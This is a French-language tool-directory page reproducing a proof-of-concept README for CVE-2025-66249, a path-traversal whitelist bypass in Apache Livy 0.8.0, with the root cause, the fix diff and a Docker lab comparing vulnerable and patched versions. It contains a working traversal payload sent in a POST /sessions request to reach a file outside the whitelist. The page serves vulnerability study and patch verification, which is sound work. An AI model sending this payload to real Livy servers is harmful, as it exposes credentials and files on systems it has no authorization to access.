Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-66249-POC — Une preuve de concept pour la vulnérabilité de contournement de la liste blanche de traversée de chemin d'Apache Livy | Kitploit
Outils/GitHubGitHub/sid6224/cve-2025-66249-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubsid6224/cve-2025-66249-poc

CVE-2025-66249-POC

Une preuve de concept pour la vulnérabilité de contournement de la liste blanche de traversée de chemin d'Apache Livy

Voir le dépôt
il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-66249 — Contournement de la liste blanche de traversal de chemin Apache Livy

CVE Livy Severity CWE Type License Platform Language

À des fins éducatives et de recherche en sécurité uniquement. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite. → Clause de non-responsabilité complète


Aperçu

ChampDétail
ID CVECVE-2025-66249
SévéritéImportant (CVSS N/A — évaluation NVD en attente au 15/03/2026)
AffectéApache Livy 0.3.0-incubating jusqu'à 0.8.0-incubating — uniquement lorsque livy.file.local-dir-whitelist est défini sur une valeur non par défaut
Corrigé dansApache Livy 0.9.0-incubating
CWECWE-22 : Limitation incorrecte d'un chemin d'accès à un répertoire restreint ('Traversal de chemin')
Divulgué2026-03-12 (OSS-Sec) / 2026-03-13 (NVD)
RapporteurHiroki Egawa (découvreur)

Description de la vulnérabilité

Un utilisateur authentifié ayant accès à l'interface REST ou JDBC de Livy peut soumettre une session Spark ou un job batch avec une valeur de configuration de chemin de fichier conçue pour échapper à la liste blanche des répertoires autorisés.

Cause racine — Contournement du traversal de chemin dans le contrôle de la liste blanche (Session.scala)

Lorsque livy.file.local-dir-whitelist est configuré, Livy 0.8.0 valide les chemins soumis en appelant String.startsWith() de Java sur le chemin brut, non normalisé. Ce contrôle peut être contourné en utilisant des séquences de traversal ../ :

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt

La chaîne brute commence par /opt/safe-data, donc le contrôle passe — mais le chemin se résout en /opt/sensitive/secret.txt, qui est totalement en dehors du répertoire autorisé.

Condition de déclenchement : La vulnérabilité ne peut être exploitée que lorsque livy.file.local-dir-whitelist est défini sur une valeur non par défaut (non vide). Si la liste blanche est vide (par défaut), la validation de chemin est totalement ignorée et le problème n'est pas actif.

Impact : Un attaquant qui soumet une session via l'API REST de Livy peut référencer des fichiers locaux arbitraires sur le serveur Livy hôte. Dans un cluster d'analyse partagé, cela se traduit par une exposition potentielle des identifiants, clés, fichiers de configuration, ou toute donnée lisible par l'utilisateur du processus Livy.


Fichiers source affectés

Fichier — Session.scala

Vulnérable (v0.8.0) : https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

Corrigé (v0.9.0) : https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala


Code source — Commandes de clonage

Les deux versions ont été clonées directement depuis le dépôt GitHub officiel d'Apache Livy en utilisant les commandes exactes suivantes :

Dépôt : https://github.com/apache/incubator-livy

root@kitploit:~
# Version vulnérable — clonée dans ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.8.0

# Version corrigée — clonée dans ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.9.0
VersionTagCommit résoluChemin local
0.8.0-incubatingv0.8.0-incubating78b512658e4baf1183f2b352203ada1928d8111a./livy-0.8.0/
0.9.0-incubatingv0.9.0-incubating7215f209b25b96488189567807eaded00953a492./livy-0.9.0/

Diffs de code exacts

Correctif — Session.scala : Paths.get().normalize() avant le contrôle de liste blanche

root@kitploit:~
 import java.io.InputStream
 import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
 import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
 import java.util.UUID

 ...

     if (resolved.getScheme() == "file") {
       // Assurer que l'emplacement est dans la liste blanche avant d'autoriser l'ajout de fichiers locaux.
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Le chemin local ${uri.getPath()} ne peut pas être ajouté aux sessions utilisateur.")
     }

Impact dans v0.8.0 : Le contrôle startsWith sur la chaîne brute peut être contourné avec une charge utile de traversal de chemin.

Exemple : si livy.file.local-dir-whitelist = /opt/safe-data

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt
  • v0.8.0 : "/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → vrai (contourné)
  • v0.9.0 : Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt /opt/sensitive/secret.txt.startsWith(/opt/safe-data) → faux (bloqué)

Les diffs ont été produits en clonant les deux tags localement (voir ci-dessus) et en exécutant :

root@kitploit:~
diff -u \
    livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
    livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

Résumé du vecteur d'attaque

root@kitploit:~
Attaquant (utilisateur REST/JDBC authentifié)
    │
    ▼
POST /sessions
{
  "conf": {
    "spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
    ← le chemin commence par le préfixe autorisé — String.startsWith() passe
    ← mais se résout EN DEHORS du répertoire via le traversal ../
  }
}
    │
    ▼
Livy 0.8.0 — contrôle de liste blanche contourné (startsWith brut, sans normalisation)
    │
    ▼
Spark lit le fichier et le distribue aux exécuteurs
    │
    ▼
L'attaquant récupère le contenu du fichier via la sortie du job / les logs

Environnement de test

Toutes les étapes de cette PoC ont été exécutées et validées sur le système suivant :

ComposantDétail
OS hôteUbuntu 24.04.4 LTS (Noble Numbat)
Noyau6.17.0-14-generic x86_64
Architecturex86_64
Mémoire totale15 GiB
Moteur Docker28.2.2
JDK hôteOpenJDK 17.0.18 (utilisé uniquement par l'hôte — les conteneurs utilisent eclipse-temurin:11-jdk-focal)
Image de base du conteneureclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal)
Version Spark (les deux images)3.1.3 avec Hadoop 3.2
Version Livy — image vulnérable0.8.0-incubating
Version Livy — image corrigée0.9.0-incubating

Structure du répertoire

root@kitploit:~
CVE-2025-66249-POC/
├── docker/
│   ├── fixed/
│   │   ├── Dockerfile
│   │   ├── livy.conf
│   │   └── start.sh
│   └── vulnerable/
│       ├── Dockerfile
│       ├── livy.conf
│       └── start.sh
├── test/
│   └── validate.sh
├── .gitignore
├── LICENSE
└── README.md

Proof of Concept

Aperçu

root@kitploit:~
docker/vulnerable/   →  image: cve-2025-66249-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  image: cve-2025-66249-fixed        (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  script unique, exécuté inchangé sur les deux environnements

Séquence complète de bout en bout — suivez les étapes 1 à 4 dans l'ordre :

root@kitploit:~
Étape 1 : Construire l'image vulnérable  →  démarrer le conteneur  →  vérifier que Livy est opérationnel
Étape 2 : Exécuter validate.sh           →  confirmer VULNÉRABLE (attaque HTTP 201)   →  arrêter le conteneur
Étape 3 : Construire l'image corrigée    →  démarrer le conteneur  →  vérifier que Livy est opérationnel
Étape 4 : Exécuter validate.sh           →  confirmer CORRIGÉ    (attaque HTTP 400)     →  arrêter le conteneur

Remarque : Livy prend environ 15 à 20 secondes pour être prêt après docker run. Toutes les étapes ci-dessous incluent un sleep 20 explicite avant tout appel API.


Étape 1 — Construire et démarrer l'environnement vulnérable (Livy 0.8.0 + Spark 3.1.3)

Fichiers :

  • docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
  • docker/vulnerable/livy.conf — écoute sur 0.0.0.0:8998, mode local, whitelist = /opt/safe-data

1a. Construire l'image :

root@kitploit:~
docker build -t cve-2025-66249-vulnerable docker/vulnerable/

Validation — l'image a été créée :

root@kitploit:~
docker images cve-2025-66249-vulnerable

Sortie attendue :

root@kitploit:~
REPOSITORY                  TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-vulnerable   latest    <id>       <time>    <size>

1b. Démarrer le conteneur :

root@kitploit:~
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable

Validation — le conteneur est en cours d'exécution :

root@kitploit:~
docker ps --filter name=livy-vulnerable

Sortie attendue :

root@kitploit:~
CONTAINER ID   IMAGE                       COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-vulnerable   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-vulnerable

1c. Attendre que Livy démarre, puis vérifier l'API REST :

Livy nécessite ~15–20 secondes pour s'initialiser avant de répondre aux requêtes.

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

Sortie attendue :

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

1d. Valider la structure des répertoires à l'intérieur du conteneur :

Confirmer que le fichier sécurisé autorisé existe :

root@kitploit:~
docker exec livy-vulnerable cat /opt/safe-data/safe.txt

Sortie attendue :

root@kitploit:~
This file lives inside the whitelisted directory.

Confirmer que le fichier sensible existe en dehors de la liste blanche :

root@kitploit:~
docker exec livy-vulnerable cat /opt/sensitive/secret.txt

Sortie attendue :

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

Étape 2 — Exécuter la validation contre l'environnement vulnérable

Le conteneur vulnérable de l'étape 1 doit toujours être en cours d'exécution sur le port 8998.

Ce que teste test/validate.sh :

#AttaqueClé de charge utileRésultat attendu sur Livy 0.8.0
1Traversal de chemin via String.startsWith() dans Session.scalaspark.jars avec traversal ../HTTP 201 — le traversal contourne la liste blanche

2a. Exécuter le script :

root@kitploit:~
bash test/validate.sh

Remarque : validate.sh fonctionne comme suit :

  1. Il interroge GET /sessions jusqu'à ce que Livy réponde (jusqu'à 60 secondes), confirmant que le serveur est prêt.
  2. Il envoie une requête POST /sessions via curl avec une charge utile conf conçue pour cibler un fichier en dehors de la liste blanche (/opt/sensitive/secret.txt) en utilisant le traversal ../.
  3. Il lit le code de réponse HTTP : 201 signifie que Livy a accepté le chemin sans normalisation (vulnérable) ; 400 signifie que Livy l'a rejeté après normalisation (corrigé).
  4. Si une session a été créée (HTTP 201), le script la supprime immédiatement via DELETE /sessions/{id} pour garder le serveur propre.
  5. Après le test, il affiche un résumé et se termine avec le code 1 (vulnérable) ou 0 (corrigé), ce qui le rend adapté à une utilisation dans des pipelines automatisés.

Sortie attendue :

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 201
RESPONSE  : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
             Path was NOT normalised — traversal bypasses whitelist check.

RESULT: VULNERABLE — exit code 1

2b. Arrêter et supprimer le conteneur vulnérable :

root@kitploit:~
docker stop livy-vulnerable && docker rm livy-vulnerable

Validation — le conteneur est complètement supprimé :

root@kitploit:~
docker ps -a --filter name=livy-vulnerable

Sortie attendue (vide — aucune ligne) :

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

Étape 3 — Construire et démarrer l'environnement corrigé (Livy 0.9.0 + Spark 3.1.3)

Fichiers :

  • docker/fixed/Dockerfile — image de base identique et Spark 3.1.3, seule la version Livy passe à 0.9.0-incubating
  • docker/fixed/livy.conf — identique à docker/vulnerable/livy.conf (même liste blanche, port, mode)

Garder Spark, l'image de base et toute la configuration identiques à l'étape 1 isole Livy comme seule variable.

3a. Construire l'image :

root@kitploit:~
docker build -t cve-2025-66249-fixed docker/fixed/

Validation — l'image a été créée :

root@kitploit:~
docker images cve-2025-66249-fixed

Sortie attendue :

root@kitploit:~
REPOSITORY             TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-fixed   latest    <id>       <time>    <size>

3b. Démarrer le conteneur :

root@kitploit:~
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed

Validation — le conteneur est en cours d'exécution :

root@kitploit:~
docker ps --filter name=livy-fixed

Sortie attendue :

root@kitploit:~
CONTAINER ID   IMAGE                  COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-fixed   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-fixed

3c. Attendre que Livy démarre, puis vérifier l'API REST :

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

Sortie attendue :

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

3d. Valider la structure des répertoires à l'intérieur du conteneur :

Le conteneur corrigé utilise des fixtures identiques à celui vulnérable — cela confirme que la seule variable entre les deux environnements est la version Livy.

Confirmer que le fichier sécurisé autorisé existe :

root@kitploit:~
docker exec livy-fixed cat /opt/safe-data/safe.txt

Sortie attendue :

root@kitploit:~
This file lives inside the whitelisted directory.

Confirmer que le fichier sensible existe en dehors de la liste blanche :

root@kitploit:~
docker exec livy-fixed cat /opt/sensitive/secret.txt

Sortie attendue :

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

Étape 4 — Exécuter la même validation contre l'environnement corrigé

Le conteneur corrigé de l'étape 3 doit être en cours d'exécution sur le port 8998. Le script est identique — aucun changement.

Ce qui change entre l'étape 2 et l'étape 4 :

  • Même charge utile, même script
  • Livy 0.9.0 normalise désormais les chemins avec Paths.get().normalize() avant le contrôle de liste blanche
  • L'attaque est rejetée avec HTTP 400 avant qu'une session ne soit créée

4a. Exécuter le script :

root@kitploit:~
bash test/validate.sh

Sortie attendue :

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path normalisation blocked the traversal.

RESULT: FIXED — exit code 0

Ce que confirme le message d'erreur :

AttaqueHTTPMessage d'erreurCause racine corrigée
Traversal de chemin via spark.jars400Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.Paths.get(...).normalize() ajouté dans Session.scala ; résout ../ avant la comparaison avec la liste blanche

4b. Arrêter et supprimer le conteneur corrigé :

root@kitploit:~
docker stop livy-fixed && docker rm livy-fixed

Validation — le conteneur est complètement supprimé :

root@kitploit:~
docker ps -a --filter name=livy-fixed

Sortie attendue (vide — aucune ligne) :

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

Inférence

CVE-2025-66249 est un défaut logique unique et ciblé dans l'application de la liste blanche qui protège le chemin d'accès local système de fichiers de Livy.

La liste blanche (livy.file.local-dir-whitelist) existait dans toutes les versions affectées et était correctement configurée. L'échec résidait dans la manière dont la liste blanche était évaluée :

Contournement du traversal de chemin (la seule faiblesse) : La comparaison de la liste blanche dans Session.scala utilisait String.startsWith() de Java sur la chaîne de chemin brute. Cela est insuffisant pour les comparaisons de chemins système de fichiers car cela ne tient pas compte des segments de traversal ... Un chemin comme /opt/safe-data/../sensitive/secret.txt satisfait la vérification de chaîne par rapport à l'entrée de la liste blanche /opt/safe-data, mais se résout en un emplacement totalement en dehors de celle-ci.

Le correctif dans 0.9.0 est minimal et ciblé : un appel à Paths.get().normalize() est ajouté avant la comparaison avec la liste blanche. Cela résout tous les segments .. avant que le contrôle startsWith ne s'exécute, de sorte que la charge utile de traversal est correctement identifiée comme pointant en dehors du répertoire autorisé.

Point clé pour les défenseurs : La vulnérabilité n'est exploitable que lorsque livy.file.local-dir-whitelist est défini sur une valeur non vide. Bien que cela signifie que la configuration par défaut n'est pas directement vulnérable, tout déploiement qui a renforcé la liste blanche (c'est-à-dire qui a explicitement restreint les répertoires auxquels Livy peut accéder) est paradoxalement celui qui est exposé — car c'est la présence de la liste blanche qui active le chemin de code défectueux. La mise à niveau vers Livy 0.9.0-incubating est la seule correction complète.


Références

  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2025-66249
  • Divulgation OSS-Sec : http://www.openwall.com/lists/oss-security/2026/03/12/2
  • Liste de diffusion Apache : https://lists.apache.org/thread/1xwphsfn4jbtym4k4o0zlvwfogwqwwc3
  • Projet Apache Livy : https://livy.apache.org/

Remerciements

  • Hiroki Egawa — rapporteur original de CVE-2025-66249 à l'équipe de sécurité Apache.
  • Mainteneurs d'Apache Livy — pour le tri rapide et le correctif ciblé dans v0.9.0-incubating.
  • Équipe de sécurité Apache — pour la coordination du processus de divulgation responsable.
  • Communauté OSS-Sec — pour le fil de divulgation publique qui a rendu l'analyse indépendante possible.

Contribution

Les contributions visant à améliorer cette PoC ou la documentation sont les bienvenues ! Veuillez vous assurer que toute contribution :

  • Suit les pratiques de divulgation responsable
  • Inclut les clauses de non-responsabilité appropriées
  • N'inclut pas de code malveillant au-delà de la démonstration éducative
  • Maintient l'accent sur la valeur éducative

Pour contribuer, ouvrez une pull request ou signalez un problème décrivant le changement proposé.


Licence

Ce projet est sous licence MIT License.


Clause de non-responsabilité

Ce dépôt est à des fins éducatives et de recherche en sécurité uniquement. La proof of concept démontre les mécanismes de la vulnérabilité pour faciliter la compréhension et les mesures défensives. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite pour tester.


Tags

cve-2025-66249 apache-livy path-traversal whitelist-bypass cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0 security-research proof-of-concept docker java scala vulnerability-analysis rest-api-security string-startswith-bypass path-normalisation

Télécharger l’outil